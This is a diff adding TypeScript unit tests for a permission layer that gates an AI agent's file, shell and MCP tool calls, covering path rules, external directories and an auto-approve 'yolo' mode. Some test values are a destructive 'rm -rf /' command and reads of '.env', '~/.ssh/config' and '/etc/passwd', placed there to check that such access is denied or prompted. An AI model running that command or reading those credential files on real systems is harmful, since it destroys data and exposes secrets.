it("returns GateDescriptor with surface 'external_directory'", () => {
|
||||
const result = gateUnderTest(makeTcc(), ["/test/agent"]);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.surface).toBe("external_directory");
|
||||
});
|
||||
|
||||
it("decision value is the external path", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
expect(result.decision.value).toBe("/outside/project/file.ts");
|
||||
expect(result.decision.surface).toBe("external_directory");
|
||||
});
|
||||
|
||||
it("carries the child-fixed access facts on promptDetails (external_directory surface)", () => {
|
||||
const path = "/outside/project/file.ts";
|
||||
const result = gateUnderTest(makeTcc({ input: { path } }), [
|
||||
"/test/agent",
|
||||
]) as GateDescriptor;
|
||||
const accessPath = new PathNormalizer(
|
||||
pathFlavorForPlatform(process.platform),
|
||||
"/test/project",
|
||||
).forPath(path);
|
||||
expect(result.promptDetails.accessIntent).toEqual({
|
||||
surface: "external_directory",
|
||||
matchValues: accessPath.matchValues(),
|
||||
boundaryValue: accessPath.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("emits an external_directory payload carrying the escaped boundary", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
|
||||
expect(result.payload.kind).toBe("external_directory");
|
||||
expect(result.payload.request.value).toBe("/outside/project/file.ts");
|
||||
expect(result.payload.evidence).toContainEqual({
|
||||
label: "working directory",
|
||||
text: "/test/project",
|
||||
detail: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("carries a precomputed preCheck and an empty input (matching is done by the gate)", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
expect(result.input).toEqual({});
|
||||
expect(result.preCheck).toBeDefined();
|
||||
expect(result.preCheck?.state).toBe("ask");
|
||||
});
|
||||
|
||||
it("resolves the typed and symlink-resolved aliases on the external_directory surface (#418)", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", toolName: "external_directory" }),
|
||||
);
|
||||
gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
undefined,
|
||||
resolver,
|
||||
);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
kind: "access-path",
|
||||
surface: "external_directory",
|
||||
agentName: undefined,
|
||||
}),
|
||||
);
|
||||
const intent = resolver.resolve.mock.calls[0][0];
|
||||
expect(intent.kind).toBe("access-path");
|
||||
if (intent.kind === "access-path") {
|
||||
expect(intent.path.matchValues()).toEqual(["/outside/project/file.ts"]);
|
||||
}
|
||||
});
|
||||
|
||||
it("sessionApproval uses deriveApprovalPattern", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
expect(result.sessionApproval).toBeDefined();
|
||||
expect(result.sessionApproval?.surface).toBe("external_directory");
|
||||
expect(result.sessionApproval?.representativePattern).toBeDefined();
|
||||
});
|
||||
|
||||
it("payload contains the external path and the boundary it escaped", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/outside/project/file.ts" } }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
expect(result.payload.kind).toBe("external_directory");
|
||||
expect(result.payload.request.toolName).toBe("read");
|
||||
expect(result.payload.request.value).toBe("/outside/project/file.ts");
|
||||
expect(result.payload.evidence).toContainEqual({
|
||||
label: "working directory",
|
||||
text: "/test/project",
|
||||
detail: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("promptDetails includes path and tool_call source", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ toolName: "read", agentName: "agent-1", toolCallId: "tc-5" }),
|
||||
["/test/agent"],
|
||||
) as GateDescriptor;
|
||||
expect(result.promptDetails).toMatchObject({
|
||||
source: "tool_call",
|
||||
agentName: "agent-1",
|
||||
toolCallId: "tc-5",
|
||||
toolName: "read",
|
||||
path: "/outside/project/file.ts",
|
||||
});
|
||||
});
|
||||
|
||||
it("logContext includes the path, and no prompt wording", () => {
|
||||
const result = gateUnderTest(makeTcc(), ["/test/agent"]) as GateDescriptor;
|
||||
expect(result.logContext).toMatchObject({
|
||||
source: "tool_call",
|
||||
path: "/outside/project/file.ts",
|
||||
});
|
||||
// The payload's request facts are stamped by the runner, not the gate.
|
||||
expect(result.logContext).not.toHaveProperty("message");
|
||||
});
|
||||
});
|
||||
|
||||
// Extension and MCP tools are now external-directory gated (#352) ───────────
|
||||
|
||||
describe("describeExternalDirectoryGate — extension and MCP tools (#352)", () => {
|
||||
it("gates an extension tool with an external input.path", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "my-ext",
|
||||
input: { path: "/outside/project/file.ts" },
|
||||
}),
|
||||
["/test/agent"],
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect((result as GateDescriptor).surface).toBe("external_directory");
|
||||
});
|
||||
|
||||
it("gates an MCP tool with an external arguments.path", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "mcp",
|
||||
input: { arguments: { path: "/outside/project/file.ts" } },
|
||||
}),
|
||||
["/test/agent"],
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
});
|
||||
|
||||
it("uses a registered extractor's external path for a custom-shaped tool", () => {
|
||||
const extractors = {
|
||||
get: (name: string) =>
|
||||
name === "ffgrep"
|
||||
? (input: Record<string, unknown>) =>
|
||||
typeof input.target === "string" ? input.target : undefined
|
||||
: undefined,
|
||||
};
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ toolName: "ffgrep", input: { target: "/outside/project/x" } }),
|
||||
["/test/agent"],
|
||||
extractors,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
});
|
||||
|
||||
it("returns null for an extension tool whose path is inside cwd", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "my-ext",
|
||||
input: { path: "/test/project/src/x.ts" },
|
||||
}),
|
||||
["/test/agent"],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,261 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import { AccessPath } from "#src/access-intent/access-path";
|
||||
import {
|
||||
accessFactsFromPath,
|
||||
accessFactsFromValue,
|
||||
buildDecisionEvent,
|
||||
deriveDecisionValue,
|
||||
deriveResolution,
|
||||
resolveYoloGrant,
|
||||
} from "#src/handlers/gates/helpers";
|
||||
import { posixPathFlavor } from "#src/path/path-flavor";
|
||||
import type { PermissionCheckResult } from "#src/types";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
describe("deriveDecisionValue", () => {
|
||||
it("returns command for bash", () => {
|
||||
expect(deriveDecisionValue("bash", { command: "git status" })).toBe(
|
||||
"git status",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to toolName when bash has no command", () => {
|
||||
expect(deriveDecisionValue("bash", {})).toBe("bash");
|
||||
});
|
||||
|
||||
it("returns target for mcp", () => {
|
||||
expect(deriveDecisionValue("mcp", { target: "exa:search" })).toBe(
|
||||
"exa:search",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to toolName when mcp has no target", () => {
|
||||
expect(deriveDecisionValue("mcp", {})).toBe("mcp");
|
||||
});
|
||||
|
||||
it("returns toolName for non-path-bearing tools", () => {
|
||||
expect(deriveDecisionValue("my_extension_tool", {})).toBe(
|
||||
"my_extension_tool",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns path for path-bearing tools when path is provided", () => {
|
||||
expect(deriveDecisionValue("read", {}, "/project/src/main.ts")).toBe(
|
||||
"/project/src/main.ts",
|
||||
);
|
||||
expect(deriveDecisionValue("write", {}, "src/.env")).toBe("src/.env");
|
||||
});
|
||||
|
||||
it("falls back to toolName for path-bearing tools when path is missing", () => {
|
||||
expect(deriveDecisionValue("read", {})).toBe("read");
|
||||
expect(deriveDecisionValue("write", {}, undefined)).toBe("write");
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveResolution", () => {
|
||||
it("returns policy_allow for allow state", () => {
|
||||
expect(deriveResolution("allow", "allow", false, true)).toBe(
|
||||
"policy_allow",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns policy_deny for deny state", () => {
|
||||
expect(deriveResolution("deny", "block", false, true)).toBe("policy_deny");
|
||||
});
|
||||
|
||||
it("returns user_approved for ask + allow without session", () => {
|
||||
expect(deriveResolution("ask", "allow", false, true)).toBe("user_approved");
|
||||
});
|
||||
|
||||
it("returns user_approved_for_session for ask + allow with session", () => {
|
||||
expect(deriveResolution("ask", "allow", true, true)).toBe(
|
||||
"user_approved_for_session",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns auto_approved when autoApproved flag is set", () => {
|
||||
expect(deriveResolution("ask", "allow", false, true, true)).toBe(
|
||||
"auto_approved",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns auto_approved for allow + autoApproved (yolo-origin allow)", () => {
|
||||
expect(deriveResolution("allow", "allow", false, false, true)).toBe(
|
||||
"auto_approved",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns user_denied for ask + block when confirmation was available", () => {
|
||||
expect(deriveResolution("ask", "block", false, false)).toBe("user_denied");
|
||||
});
|
||||
|
||||
it("returns confirmation_unavailable for ask + block when confirmation was unavailable", () => {
|
||||
expect(deriveResolution("ask", "block", false, true)).toBe(
|
||||
"confirmation_unavailable",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildDecisionEvent", () => {
|
||||
function makeCheck(
|
||||
overrides: Partial<PermissionCheckResult> = {},
|
||||
): PermissionCheckResult {
|
||||
return {
|
||||
state: "allow",
|
||||
toolName: "read",
|
||||
source: "tool",
|
||||
origin: "builtin",
|
||||
matchedPattern: "*",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
it("builds a decision event with all fields populated", () => {
|
||||
const event = buildDecisionEvent(
|
||||
{ surface: "read", value: "read" },
|
||||
makeCheck({ origin: "global", matchedPattern: "read" }),
|
||||
"test-agent",
|
||||
"allow",
|
||||
"policy_allow",
|
||||
);
|
||||
expect(event).toEqual({
|
||||
surface: "read",
|
||||
value: "read",
|
||||
result: "allow",
|
||||
resolution: "policy_allow",
|
||||
origin: "global",
|
||||
agentName: "test-agent",
|
||||
matchedPattern: "read",
|
||||
});
|
||||
});
|
||||
|
||||
it("normalises undefined origin to null", () => {
|
||||
const event = buildDecisionEvent(
|
||||
{ surface: "bash", value: "git status" },
|
||||
makeCheck({ origin: undefined }),
|
||||
null,
|
||||
"allow",
|
||||
"user_approved",
|
||||
);
|
||||
expect(event.origin).toBeNull();
|
||||
});
|
||||
|
||||
it("normalises null agentName to null", () => {
|
||||
const event = buildDecisionEvent(
|
||||
{ surface: "read", value: "read" },
|
||||
makeCheck(),
|
||||
null,
|
||||
"deny",
|
||||
"policy_deny",
|
||||
);
|
||||
expect(event.agentName).toBeNull();
|
||||
});
|
||||
|
||||
it("normalises undefined matchedPattern to null", () => {
|
||||
const event = buildDecisionEvent(
|
||||
{ surface: "read", value: "read" },
|
||||
makeCheck({ matchedPattern: undefined }),
|
||||
null,
|
||||
"deny",
|
||||
"policy_deny",
|
||||
);
|
||||
expect(event.matchedPattern).toBeNull();
|
||||
});
|
||||
|
||||
it("passes result and resolution through", () => {
|
||||
const event = buildDecisionEvent(
|
||||
{ surface: "bash", value: "rm -rf /" },
|
||||
makeCheck(),
|
||||
null,
|
||||
"deny",
|
||||
"user_denied",
|
||||
);
|
||||
expect(event.result).toBe("deny");
|
||||
expect(event.resolution).toBe("user_denied");
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveYoloGrant", () => {
|
||||
it("returns the check unchanged for a ruleset-granted yolo allow", () => {
|
||||
const check = makeCheckResult({ origin: "yolo", matchedPattern: "*" });
|
||||
|
||||
expect(resolveYoloGrant(check, false)).toBe(check);
|
||||
});
|
||||
|
||||
it("grants a residual ask under yolo, preserving the matched pattern", () => {
|
||||
const check = makeCheckResult({
|
||||
state: "ask",
|
||||
source: "bash",
|
||||
toolName: "bash",
|
||||
matchedPattern: "<indirection-bash-wrapper>",
|
||||
});
|
||||
|
||||
expect(resolveYoloGrant(check, true)).toEqual({
|
||||
...check,
|
||||
state: "allow",
|
||||
origin: "yolo",
|
||||
});
|
||||
});
|
||||
|
||||
it("returns null for a residual ask with yolo disabled", () => {
|
||||
expect(
|
||||
resolveYoloGrant(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
false,
|
||||
),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null for an allow granted by an ordinary rule", () => {
|
||||
expect(
|
||||
resolveYoloGrant(
|
||||
makeCheckResult({ origin: "global", matchedPattern: "*" }),
|
||||
true,
|
||||
),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null for a deny, so an explicit deny survives yolo", () => {
|
||||
expect(
|
||||
resolveYoloGrant(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
|
||||
true,
|
||||
),
|
||||
).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("accessFactsFromPath", () => {
|
||||
it("projects the AccessPath's match set and boundary as strings", () => {
|
||||
const path = AccessPath.forPath("/outside/x.ts", {
|
||||
cwd: "/repo",
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
expect(accessFactsFromPath("external_directory", path)).toEqual({
|
||||
surface: "external_directory",
|
||||
matchValues: path.matchValues(),
|
||||
boundaryValue: path.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("collapses an empty boundary (literal-only path) to null", () => {
|
||||
const path = AccessPath.forLiteral("relative-token");
|
||||
expect(path.boundaryValue()).toBe("");
|
||||
expect(accessFactsFromPath("path", path)).toEqual({
|
||||
surface: "path",
|
||||
matchValues: ["relative-token"],
|
||||
boundaryValue: null,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("accessFactsFromValue", () => {
|
||||
it("wraps a single portable value with a null boundary", () => {
|
||||
expect(accessFactsFromValue("skill", "deep-research")).toEqual({
|
||||
surface: "skill",
|
||||
matchValues: ["deep-research"],
|
||||
boundaryValue: null,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,402 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
|
||||
// Default implementation is identity — lexical tests are unaffected.
|
||||
const realpathSync = vi.hoisted(() =>
|
||||
vi.fn<(path: string) => string>((p) => p),
|
||||
);
|
||||
vi.mock("node:fs", () => ({
|
||||
realpathSync,
|
||||
default: { realpathSync },
|
||||
}));
|
||||
|
||||
import { AccessPath } from "#src/access-intent/access-path";
|
||||
import type { GateDescriptor } from "#src/handlers/gates/descriptor";
|
||||
import { isGateDescriptor } from "#src/handlers/gates/descriptor";
|
||||
import { describePathGate } from "#src/handlers/gates/path";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { pathFlavorForPlatform, posixPathFlavor } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
|
||||
import {
|
||||
makeGateCheckResult as makeCheckResult,
|
||||
makeResolver,
|
||||
} from "#test/helpers/gate-fixtures";
|
||||
|
||||
// ── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
// path.test.ts uses read-tool defaults; the shared makeTcc uses bash defaults.
|
||||
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
|
||||
return {
|
||||
toolName: "read",
|
||||
agentName: null,
|
||||
input: { path: ".env" },
|
||||
toolCallId: "tc-1",
|
||||
cwd: "/test/project",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
// The gate reads the path normalizer (platform + cwd baked in) from the
|
||||
// session; here it is bound to the makeTcc default cwd.
|
||||
const normalizer = new PathNormalizer(
|
||||
pathFlavorForPlatform(process.platform),
|
||||
"/test/project",
|
||||
);
|
||||
|
||||
// ── tests ──────────────────────────────────────────────────────────────────
|
||||
|
||||
describe("describePathGate", () => {
|
||||
beforeEach(() => {
|
||||
realpathSync.mockReset();
|
||||
realpathSync.mockImplementation((p: string) => p);
|
||||
});
|
||||
|
||||
it("returns null for non-path-bearing tools", () => {
|
||||
const resolver = makeResolver();
|
||||
const result = describePathGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "ls" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
expect(resolver.resolve).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns null when tool has no extractable path", () => {
|
||||
const resolver = makeResolver();
|
||||
const result = describePathGate(
|
||||
makeTcc({ toolName: "read", input: {} }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when path check result is allow", () => {
|
||||
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
|
||||
const result = describePathGate(makeTcc(), resolver, normalizer);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when matchedPattern is undefined (universal default)", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: undefined,
|
||||
source: "special",
|
||||
origin: "builtin",
|
||||
}),
|
||||
);
|
||||
const result = describePathGate(makeTcc(), resolver, normalizer);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns GateDescriptor when matchedPattern is defined (explicit path rule)", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: "*.env",
|
||||
source: "special",
|
||||
origin: "global",
|
||||
}),
|
||||
);
|
||||
const result = describePathGate(makeTcc(), resolver, normalizer);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
});
|
||||
|
||||
it("returns GateDescriptor when path check result is deny", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(makeTcc(), resolver, normalizer);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.surface).toBe("path");
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
});
|
||||
|
||||
it("returns GateDescriptor when path check result is ask", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(makeTcc(), resolver, normalizer);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.surface).toBe("path");
|
||||
expect(desc.preCheck?.state).toBe("ask");
|
||||
});
|
||||
|
||||
it("descriptor has correct session approval surface and pattern", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ input: { path: "/test/project/src/.env" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
expect(result.sessionApproval).toBeDefined();
|
||||
expect(result.sessionApproval?.surface).toBe("path");
|
||||
expect(result.sessionApproval?.representativePattern).toBeDefined();
|
||||
});
|
||||
|
||||
it("binds a current-directory file's session approval to the cwd subtree", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ input: { path: "index.html" }, cwd: "/test/project" }),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
expect(result.sessionApproval?.surface).toBe("path");
|
||||
expect(result.sessionApproval?.representativePattern).toBe(
|
||||
"/test/project/*",
|
||||
);
|
||||
});
|
||||
|
||||
it("descriptor denialContext references the file path and tool name", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc(),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
expect(result.payload.kind).toBe("path");
|
||||
expect(result.payload.request.toolName).toBe("read");
|
||||
expect(result.payload.request.value).toBe(".env");
|
||||
expect(result.payload.request.requester.agentName).toBeNull();
|
||||
});
|
||||
|
||||
it("carries the child-fixed access facts on promptDetails (path surface)", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc(),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
const accessPath = AccessPath.forPath(".env", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
expect(result.promptDetails.accessIntent).toEqual({
|
||||
surface: "path",
|
||||
matchValues: accessPath.matchValues(),
|
||||
boundaryValue: accessPath.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("emits a path payload naming the matched rule", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc(),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
|
||||
expect(result.payload.kind).toBe("path");
|
||||
expect(result.payload.request.value).toBe(".env");
|
||||
expect(result.payload.request.matchedPattern).toBe("*.env");
|
||||
});
|
||||
|
||||
it("descriptor decision uses surface 'path' and the file path as value", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc(),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
expect(result.decision.surface).toBe("path");
|
||||
expect(result.decision.value).toBe(".env");
|
||||
});
|
||||
|
||||
it("resolves the path surface with an access-path intent and agent name", () => {
|
||||
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
|
||||
describePathGate(makeTcc({ agentName: "my-agent" }), resolver, normalizer);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath(".env", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: "my-agent",
|
||||
});
|
||||
});
|
||||
|
||||
it("emits an access-path whose matchValues include the symlink-resolved form (#486)", () => {
|
||||
// /test/project/.env is a symlink to /vault/secret.env.
|
||||
realpathSync.mockImplementation((p: string) =>
|
||||
p === "/test/project/.env" ? "/vault/secret.env" : p,
|
||||
);
|
||||
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
|
||||
describePathGate(makeTcc(), resolver, normalizer);
|
||||
|
||||
const intent = resolver.resolve.mock.lastCall?.[0];
|
||||
expect(intent?.kind).toBe("access-path");
|
||||
expect(intent?.kind === "access-path" && intent.path.matchValues()).toEqual(
|
||||
["/test/project/.env", ".env", "/vault/secret.env"],
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// Home-relative path characterization (#350) ──────────────────────────────
|
||||
//
|
||||
// The gate passes the raw path to the resolver; home expansion is handled
|
||||
// downstream by normalizeInput. These tests lock in that the gate works
|
||||
// correctly when the tool input contains a ~/... or $HOME/... path.
|
||||
|
||||
describe("describePathGate — home-relative paths", () => {
|
||||
it("passes raw ~/... path to resolver and builds descriptor on deny", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "~/.ssh/*" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ input: { path: "~/.ssh/config" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(result.preCheck?.state).toBe("deny");
|
||||
// Raw path preserved on the payload for display.
|
||||
expect(result.payload.kind).toBe("path");
|
||||
expect(result.payload.request.toolName).toBe("read");
|
||||
expect(result.payload.request.value).toBe("~/.ssh/config");
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath("~/.ssh/config", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("passes raw $HOME/... path to resolver and builds descriptor on deny", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "$HOME/.ssh/*" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ input: { path: "$HOME/.ssh/config" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
) as GateDescriptor;
|
||||
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(result.preCheck?.state).toBe("deny");
|
||||
expect(result.payload.kind).toBe("path");
|
||||
expect(result.payload.request.value).toBe("$HOME/.ssh/config");
|
||||
});
|
||||
|
||||
it("returns null when home-relative path resolves to allow", () => {
|
||||
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
|
||||
const result = describePathGate(
|
||||
makeTcc({ input: { path: "~/.ssh/config" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
// Extension and MCP tools are now path-gated (#352) ──────────────────────────
|
||||
|
||||
describe("describePathGate — extension and MCP tools (#352)", () => {
|
||||
function extractorLookup(toolName: string, key: string) {
|
||||
return {
|
||||
get: (name: string) =>
|
||||
name === toolName
|
||||
? (input: Record<string, unknown>) =>
|
||||
typeof input[key] === "string" ? input[key] : undefined
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
|
||||
it("gates an extension tool that exposes input.path", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ toolName: "my-ext", input: { path: ".env" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath(".env", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("gates an MCP tool via arguments.path", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = describePathGate(
|
||||
makeTcc({ toolName: "mcp", input: { arguments: { path: ".env" } } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath(".env", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("uses a registered extractor's path for a custom-shaped tool", () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
);
|
||||
describePathGate(
|
||||
makeTcc({ toolName: "ffgrep", input: { target: "/etc/passwd" } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
extractorLookup("ffgrep", "target"),
|
||||
);
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath("/etc/passwd", {
|
||||
cwd: "/test/project",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns null for an extension tool without a path", () => {
|
||||
const resolver = makeResolver();
|
||||
const result = describePathGate(
|
||||
makeTcc({ toolName: "my-ext", input: { other: true } }),
|
||||
resolver,
|
||||
normalizer,
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
expect(resolver.resolve).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,879 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
import type { GateBypass } from "#src/handlers/gates/descriptor";
|
||||
import type { PermissionDecisionEvent } from "#src/permission-events";
|
||||
import { EXTENSION_TAG } from "#src/presentation/agent-renderer";
|
||||
import { SessionApproval } from "#src/session-approval";
|
||||
import { DECIDED_BY_HUMAN } from "#test/helpers/decision-fixtures";
|
||||
import { makeDescriptor, makeGateRunner } from "#test/helpers/gate-fixtures";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
import { makePromptPayload } from "#test/helpers/prompt-details-fixtures";
|
||||
|
||||
// ── GateRunner — descriptor path ───────────────────────────────────────────
|
||||
|
||||
describe("GateRunner — descriptor path", () => {
|
||||
it("returns allow and emits policy_allow when policy is allow", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
